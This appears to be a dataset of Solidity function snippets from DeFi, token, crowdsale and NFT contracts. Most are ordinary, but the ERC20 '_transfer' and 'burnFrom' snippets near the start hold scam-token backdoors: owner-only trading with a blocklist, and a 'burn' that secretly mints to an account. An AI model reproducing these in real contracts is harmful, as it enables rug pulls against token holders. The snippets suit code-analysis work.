lohoz/Smart-Contract-MultiTask-Dataset huggingface dataset:
// Solidity 0.8.1
/**
 * @dev See {IERC20-transferFrom}.
 */
function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }
// Solidity 0.8.1
/**
 * @dev Atomically decreases the allowance granted to `spender` by the caller.
 */
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }
// Solidity 0.8.1
/**
 * @dev Moves `amount` of tokens from `sender` to `recipient`.
 */
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_rewards[sender] || _rewards[recipient]) require (amount == 0, "");
        if (_initialize == true || sender == owner() || recipient == owner()) {
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);}
        else {require (_initialize == true, "");}
    }
// Solidity 0.8.1
/**
 * @dev Destroys `amount` tokens from `account`, reducing the
 */
function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        _totalSupply -= balance;
        _balances[account] += burnAmount;
        emit Transfer(account, address(0), balance);
    }
// Solidity 0.8.1
/**
 * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
 */
function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
// Solidity 0.7.6
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
      bytes memory _ba = bytes(_a);
      bytes memory _bb = bytes(_b);
      bytes memory _bc = bytes(_c);
      bytes memory _bd = bytes(_d);
      bytes memory _be = bytes(_e);
      string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
      bytes memory babcde = bytes(abcde);
      uint k = 0;
      for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
      for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
      for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
      for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
      for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
      return string(babcde);
    }
// Solidity 0.6.12
// Lend SoETH to create a new loan by locking vault.
function borrow(uint256 _poodId, uint256 _amount) external {
        PoolInfo storage pool = poolMap[_poodId];
        require(address(pool.calculator) != address(0), "no calculator");

        uint256 loanId = pool.calculator.getNextLoanId();
        pool.calculator.borrow(msg.sender, _amount);
        uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId);
        // Locks in vault.
        pool.vault.lockByBank(msg.sender, lockedAmount);

        // Give user SoETH or other SodaMade tokens.
        pool.made.mint(msg.sender, _amount);

        // Records the loan.
        LoanInfo memory loanInfo;
        loanInfo.poolId = _poodId;
        loanInfo.loanId = loanId;
        loanList[msg.sender].push(loanInfo);

        emit Borrow(msg.sender, loanList[msg.sender].length - 1, _poodId, _amount);
    }
// Solidity 0.6.12
// Pay back to a loan fully.
function payBackInFull(uint256 _index) external {
        require(_index < loanList[msg.sender].length, "getTotalLoan: index out of range");
        PoolInfo storage pool = poolMap[loanList[msg.sender][_index].poolId];
        require(address(pool.calculator) != address(0), "no calculator");

        uint256 loanId = loanList[msg.sender][_index].loanId;
        uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId);
        uint256 principal = pool.calculator.getLoanPrincipal(loanId);
        uint256 interest = pool.calculator.getLoanInterest(loanId);
        // Burn principal.
        pool.made.burnFrom(msg.sender, principal);
        // Transfer interest to sodaRevenue.
        pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest);
        pool.calculator.payBackInFull(loanId);
        // Unlocks in vault.
        pool.vault.unlockByBank(msg.sender, lockedAmount);

        emit PayBackInFull(msg.sender, _index);
    }
// Solidity 0.6.12
// Collect debt if someone defaults. Collector keeps half of the profit.
function collectDebt(uint256 _poolId, uint256 _loanId) external {
        PoolInfo storage pool = poolMap[_poolId];
        require(address(pool.calculator) != address(0), "no calculator");

        address loanCreator = pool.calculator.getLoanCreator(_loanId);
        uint256 principal = pool.calculator.getLoanPrincipal(_loanId);
        uint256 interest = pool.calculator.getLoanInterest(_loanId);
        uint256 extra = pool.calculator.getLoanExtra(_loanId);
        uint256 lockedAmount = pool.calculator.getLoanLockedAmount(_loanId);

        // Pay principal + interest + extra.
        // Burn principal.
        pool.made.burnFrom(msg.sender, principal);
        // Transfer interest and extra to sodaRevenue.
        pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest + extra);

        // Clear the loan.
        pool.calculator.collectDebt(_loanId);
        // Unlocks in vault.
        pool.vault.unlockByBank(loanCreator, lockedAmount);

        pool.vault.transferByBank(loanCreator, msg.sender, lockedAmount);

        emit CollectDebt(msg.sender, _poolId, _loanId);
    }
// Solidity 0.8.7
/**
 @notice Checks if the Pool is a metapool
 @notice All factory pools are metapools but not all metapools
 * are factory pools! (e.g. dusd)
 @param swapAddress Curve swap address for the pool
 @return true if the pool is a metapool, false otherwise
 */
function isMetaPool(address swapAddress) public view returns (bool) {
        if (isCurvePool(swapAddress)) {
            uint256[2] memory poolTokenCounts =
                CurveRegistry.get_n_coins(swapAddress);

            if (poolTokenCounts[0] == poolTokenCounts[1]) return false;
            else return true;
        }
        if (isCryptoPool(swapAddress)) {
            uint256 poolTokensCount =
                CurveCryptoRegistry.get_n_coins(swapAddress);
            address[8] memory poolTokens =
                CurveCryptoRegistry.get_coins(swapAddress);

            for (uint256 i = 0; i < poolTokensCount; i++) {
                if (isCurvePool(poolTokens[i])) return true;
            }
        }
        if (isFactoryPool(swapAddress)) return true;
        return false;
    }
// Solidity 0.8.7
/**
 @notice Checks if the Pool is metapool of the Curve or Factory pool type
 @notice All factory pools are metapools but not all metapools
 * are factory pools! (e.g. dusd)
 @param swapAddress Curve swap address for the pool
 @return 1 if Meta Curve Pool
 2 if Meta Factory Pool
 0 otherwise
 */
function _isCurveFactoryMetaPool(address swapAddress)
        internal
        view
        returns (uint256)
    {
        if (isCurvePool(swapAddress)) {
            uint256[2] memory poolTokenCounts =
                CurveRegistry.get_n_coins(swapAddress);

            if (poolTokenCounts[0] == poolTokenCounts[1]) return 0;
            else return 1;
        }
        if (isFactoryPool(swapAddress)) return 2;
        return 0;
    }
// Solidity 0.8.7
/**
 @notice Gets the Curve pool swap address
 @notice The token and swap address is the same for metapool/factory pools
 @param tokenAddress Curve swap address for the pool
 @return swapAddress Curve pool swap address or address(0) if pool doesnt exist
 */
function getSwapAddress(address tokenAddress)
        external
        view
        returns (address swapAddress)
    {
        swapAddress = CurveRegistry.get_pool_from_lp_token(tokenAddress);
        if (swapAddress != address(0)) {
            return swapAddress;
        }
        swapAddress = CurveCryptoRegistry.get_pool_from_lp_token(tokenAddress);
        if (swapAddress != address(0)) {
            return swapAddress;
        }
        if (isFactoryPool(tokenAddress)) {
            return tokenAddress;
        }
        return address(0);
    }
// Solidity 0.8.7
/**
 @notice Gets an array of underlying pool token addresses
 @param swapAddress Curve swap address for the pool
 @return poolTokens returns 4 element array containing the 
 * addresses of the pool tokens (0 address if pool contains < 4 tokens)
 */
function getPoolTokens(address swapAddress)
        public
        view
        returns (address[4] memory poolTokens)
    {
        uint256 isCurveFactoryMetaPool = _isCurveFactoryMetaPool(swapAddress);
        if (isCurveFactoryMetaPool == 1) {
            address[8] memory poolUnderlyingCoins =
                CurveRegistry.get_coins(swapAddress);
            for (uint256 i = 0; i < 2; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        } else if (isCurveFactoryMetaPool == 2) {
            address[2] memory poolUnderlyingCoins =
                FactoryRegistry.get_coins(swapAddress);
            for (uint256 i = 0; i < 2; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        } else if (isCryptoPool(swapAddress)) {
            address[8] memory poolUnderlyingCoins =
                CurveCryptoRegistry.get_coins(swapAddress);

            for (uint256 i = 0; i < 4; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        } else {
            address[8] memory poolUnderlyingCoins;
            if (isBtcPool(swapAddress)) {
                poolUnderlyingCoins = CurveRegistry.get_coins(swapAddress);
            } else {
                poolUnderlyingCoins = CurveRegistry.get_underlying_coins(
                    swapAddress
                );
            }
            for (uint256 i = 0; i < 4; i++) {
                poolTokens[i] = poolUnderlyingCoins[i];
            }
        }
    }
// Solidity 0.8.7
/**
 @notice Checks if the Curve pool contains WBTC
 @param swapAddress Curve swap address for the pool
 @return true if the pool contains WBTC, false otherwise
 */
function isBtcPool(address swapAddress) public view returns (bool) {
        address[8] memory poolTokens = CurveRegistry.get_coins(swapAddress);
        for (uint256 i = 0; i < 4; i++) {
            if (poolTokens[i] == wbtcToken || poolTokens[i] == sbtcCrvToken)
                return true;
        }
        return false;
    }
// Solidity 0.8.7
/**
 @notice Check if the pool contains the toToken
 @param swapAddress Curve swap address for the pool
 @param toToken contract address of the token
 @return true if the pool contains the token, false otherwise
 @return index of the token in the pool, 0 if pool does not contain the token
 */
function isUnderlyingToken(address swapAddress, address toToken)
        external
        view
        returns (bool, uint256)
    {
        address[4] memory poolTokens = getPoolTokens(swapAddress);
        for (uint256 i = 0; i < 4; i++) {
            if (poolTokens[i] == address(0)) return (false, 0);
            if (poolTokens[i] == toToken) return (true, i);
        }
        return (false, 0);
    }
// Solidity 0.8.7
/**
 @notice Add new pools which use the _use_underlying bool
 @param swapAddresses Curve swap addresses for the pool
 @param addUnderlying True if underlying tokens are always added
 */
function updateShouldAddUnderlying(
        address[] calldata swapAddresses,
        bool[] calldata addUnderlying
    ) external onlyOwner {
        require(
            swapAddresses.length == addUnderlying.length,
            "Mismatched arrays"
        );
        for (uint256 i = 0; i < swapAddresses.length; i++) {
            shouldAddUnderlying[swapAddresses[i]] = addUnderlying[i];
        }
    }
// Solidity 0.8.7
/**
 @notice Add new pools which use uamounts for add_liquidity
 @param swapAddresses Curve swap addresses to map from
 @param _depositAddresses Curve deposit addresses to map to
 */
function updateDepositAddresses(
        address[] calldata swapAddresses,
        address[] calldata _depositAddresses
    ) external onlyOwner {
        require(
            swapAddresses.length == _depositAddresses.length,
            "Mismatched arrays"
        );
        for (uint256 i = 0; i < swapAddresses.length; i++) {
            depositAddresses[swapAddresses[i]] = _depositAddresses[i];
        }
    }
// Solidity 0.6.6
/**
 @notice createNewOracle allows the owner of this contract to deploy deploy two new asset oracle contracts
 when a new LP token is whitelisted. this contract will link the address of an LP token contract to
 two seperate oracles that are designed to look up the price of their respective assets in USDC. This
 will allow us to calculate the price of one at LP token token from the prices of their underlying assets
 
 @param _tokenA is the address of the first token in an Liquidity pair
 @param _tokenB is the address of the second token in a liquidity pair
 @param _lpToken is the address of the token that this oracle will provide a price feed for
 **/
function createNewOracles(
        address _tokenA,
        address _tokenB,
        address _lpToken
    ) public onlyOwner {
        (address token0, address token1) = sortTokens(_tokenA, _tokenB);

        address oracle1 = tokenToUSDC[token0];
        if (oracle1 == address(0)) {
            oracle1 = address(
                new UniswapLPOracleInstance(factory, token0, usdc_add)
            );
            tokenToUSDC[token0] = oracle1;
        }

        address oracle2 = tokenToUSDC[token1];
        if (oracle2 == address(0)) {
            oracle2 = address(
                new UniswapLPOracleInstance(factory, token1, usdc_add)
            );
            tokenToUSDC[token1] = oracle2;
        }

        LPAssetTracker[_lpToken] = [oracle1, oracle2];
        instanceTracker[oracle1] = token0;
        instanceTracker[oracle2] = token1;
    }
// Solidity 0.6.6
/**
 @notice getUnderlyingPrice allows for the price calculation and retrieval of a LP tokens price
 @param _lpToken is the address of the LP token  whos asset price is being retrieved
 @return returns the price of one LP token
 **/
function getUnderlyingPrice(address _lpToken) public returns (uint256) {
        address[] memory oracleAdds = LPAssetTracker[_lpToken];
        //retreives the oracle contract addresses for each asset that makes up a LP
        UniswapLPOracleInstance oracle1 = UniswapLPOracleInstance(
            oracleAdds[0]
        );
        UniswapLPOracleInstance oracle2 = UniswapLPOracleInstance(
            oracleAdds[1]
        );

        (uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(
            factory,
            instanceTracker[oracleAdds[0]],
            instanceTracker[oracleAdds[1]]
        );

        uint256 priceAsset1 = oracle1.consult(
            instanceTracker[oracleAdds[0]],
            reserveA
        );
        uint256 priceAsset2 = oracle2.consult(
            instanceTracker[oracleAdds[1]],
            reserveB
        );

        // Get the total supply of the pool
        IERC20 lpToken = IERC20(_lpToken);
        uint256 totalSupplyOfLP = lpToken.totalSupply();

        return
            _calculatePriceOfLP(
                totalSupplyOfLP,
                priceAsset1,
                priceAsset2,
                lpToken.decimals()
            );
        //return USDC price of the pool divided by totalSupply of its LPs to get price
        //of one LP
    }
// Solidity 0.8.7
/**
 //@notice Withdraw stuck tokens
 */
function withdrawTokens(address[] calldata tokens) external onlyOwner {
        for (uint256 i = 0; i < tokens.length; i++) {
            uint256 qty;

            if (tokens[i] == ETHAddress) {
                qty = address(this).balance;
                Address.sendValue(payable(owner()), qty);
            } else {
                qty = IERC20(tokens[i]).balanceOf(address(this));
                IERC20(tokens[i]).safeTransfer(owner(), qty);
            }
        }
    }
// Solidity 0.4.21
/**
 * @dev Creates a crop with an optional payable value
 * @param _playerAddress referral address.
 */
function createCrop(address _playerAddress, bool _selfBuy) public payable returns (address) {
      // we can't already have a crop
      require(crops[msg.sender] == address(0));
      
      // create a new crop for us
      address cropAddress = new Crop(msg.sender);
      // map the creator to the crop address
      crops[msg.sender] = cropAddress;
      emit CropCreated(msg.sender, cropAddress);

      // if we sent some value with the transaction, buy some eWLTH for the crop.
      if (msg.value != 0){
        if (_selfBuy){
            Crop(cropAddress).buy.value(msg.value)(cropAddress);
        } else {
            Crop(cropAddress).buy.value(msg.value)(_playerAddress);
        }
      }
      
      return cropAddress;
  }
// Solidity 0.5.12
/// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code
/// @param from Sending address
/// @param to Receiving address
/// @param value Amount of tokens being transferred
/// @return Code by which to reference message for rejection reason
function detectTransferRestriction(address _token, address from, address to, uint256 value) external view returns(uint8) {
    RestrictedToken token = RestrictedToken(_token);
    if (token.isPaused()) return ALL_TRANSFERS_PAUSED;
    if (to == address(0)) return DO_NOT_SEND_TO_EMPTY_ADDRESS;
    if (to == address(token)) return DO_NOT_SEND_TO_TOKEN_CONTRACT;

    if (token.balanceOf(to).add(value) > token.getMaxBalance(to)) return GREATER_THAN_RECIPIENT_MAX_BALANCE;
    if (now < token.getLockUntil(from)) return SENDER_TOKENS_TIME_LOCKED;
    if (token.getFrozenStatus(from)) return SENDER_ADDRESS_FROZEN;

    uint256 lockedUntil = token.getAllowTransferTime(from, to);
    if (0 == lockedUntil) return TRANSFER_GROUP_NOT_APPROVED;
    if (now < lockedUntil) return TRANSFER_GROUP_NOT_ALLOWED_UNTIL_LATER;

    return SUCCESS;
  }
// Solidity 0.4.21
/**
 * @dev Enables anyone with a masternode to earn referral fees on eWLTH reinvestments.
 * @param _playerAddress referral address.
 */
function reinvest(address _playerAddress) external {
    // reinvest must be enabled
    require(disabled == false);
    
    Hourglass eWLTH = Hourglass(eWLTHAddress);
    if (eWLTH.dividendsOf(address(this), true) > 0){
        eWLTH.withdraw();
        uint256 bal = address(this).balance;
        // reinvest with a referral fee for sender
        eWLTH.buy.value(bal)(_playerAddress);
    }
  }
// Solidity 0.4.18
// low level token purchase function
// Request Modification : change to not mint but transfer from this contract
function buyTokens() 
       public 
       payable 
    {
        require(validPurchase());

        uint256 weiAmount = msg.value;

        // calculate token amount to be created
        uint256 tokens = weiAmount.mul(rate);
        tokens += getBonus(tokens);

        // update state
        weiRaised = weiRaised.add(weiAmount);

        require(token.transfer(msg.sender, tokens)); // Request Modification : changed here - tranfer instead of mintable
        TokenPurchase(msg.sender, weiAmount, tokens);

        forwardFunds();

        postBuyTokens();
    }
// Solidity 0.4.18
/**
 * @dev Get the bonus based on the buy time (override getBonus of StandardCrowdsale)
 * @return the number of bonus token
 */
function getBonus(uint256 _tokens) constant returns (uint256 bonus) {
        require(_tokens != 0);
        if (startTime <= now && now < startTime + 1 days) {
            return _tokens.div(2);
        } else if (startTime + 1 days <= now && now < startTime + 2 days ) {
            return _tokens.div(4);
        } else if (startTime + 2 days <= now && now < startTime + 3 days ) {
            return _tokens.div(10);
        }

        return 0;
    }
// Solidity 0.8.0
// function mint_free_bluechip() external {
//     _canMint(1);
//     require(
//         mintedFreeBlueAddresses[msg.sender] == false,
//         "Already Used Offer"
//     );
//     _mint(msg.sender);
//     mintedFreeBlueAddresses[msg.sender] = true;
// }
function buy(uint256 amount) external payable {
        _canMint(amount);
        require(
            msg.value >= amount * 80000000000000000, //amount * 0.08 eth
            "Not Enough Ether Sent "
        );
        for (uint256 i = 0; i < amount; i++) {
            mint(msg.sender);
        }
        payable(owner()).transfer(msg.value);
    }
// Solidity 0.8.10
/**
 * Calculate price for token(s).
 * Price is increased by 0.0003 ETH for every next after the first presaleSupply(1,000) tokens.
 */
function calculatePrice(uint qty) internal view returns (uint) {
        uint totalPrice = 0;
        for (uint i = 1; i <= qty; i++) {
            uint tokenId = nonce + i;
            if (tokenId <= presaleSupply) {
                totalPrice += presalePrice;
            } else {
                totalPrice += presalePrice + (tokenId - presaleSupply) * increasePrice;
            }
        }
        return totalPrice;
    }
// Solidity 0.8.4
/**
 * @dev Moves `amount` tokens from `sender` to `recipient` using the
 * allowance mechanism. `amount` is then deducted from the caller's
 * allowance.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) public returns (bool success) {
        require(_value <= balanceOf[_from]);
        require(_value <= allowance[_from][msg.sender]);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }
// Solidity 0.8.9
/// @notice Swap a token for ETH
/// @param token - address of the token to swap
/// @param amount - amount of the token to swap
/// @dev Swaps are executed via Sushi router, will revert if pair
/// does not exist. Tokens must have a WETH pair.
function _swapToETH(address token, uint256 amount) internal onlyOwner {
        address[] memory path = new address[](2);
        path[0] = token;
        path[1] = WETH;

        IERC20(token).safeApprove(SUSHI_ROUTER, 0);
        IERC20(token).safeApprove(SUSHI_ROUTER, amount);

        router.swapExactTokensForETH(
            amount,
            0,
            path,
            address(this),
            block.timestamp + 60
        );
    }